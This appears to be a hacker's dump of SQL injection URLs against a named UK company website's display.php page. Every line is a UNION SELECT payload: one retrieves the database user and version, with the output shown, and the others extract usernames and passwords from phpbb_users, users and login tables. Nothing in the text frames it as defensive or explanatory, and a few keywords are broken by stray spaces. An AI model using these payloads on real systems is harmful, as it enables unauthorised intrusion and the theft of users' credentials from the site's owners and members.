http://www.companyhealth.co.uk/display.php?pageid=-2+union+select+1,2,3,concat(user(),0x3a,version(), 0x3a,database())/*
user()=companyh@localhost:
version()=4.1.20

http://www.companyhealth.co.uk/display.php?pageid=-2+union+select+1,2,3,concat_ws(0x3a,username,user_ password)+from+phpbb_users/*

http://www.companyhealth.co.uk/display.php?pageid=-2+union+select+1,2,3,password+from+users/*

http://www.companyhealth.co.uk/display.php?pageid=-2+union+select+1,2,3,concat(user,0x3a,password)+fr om+login/*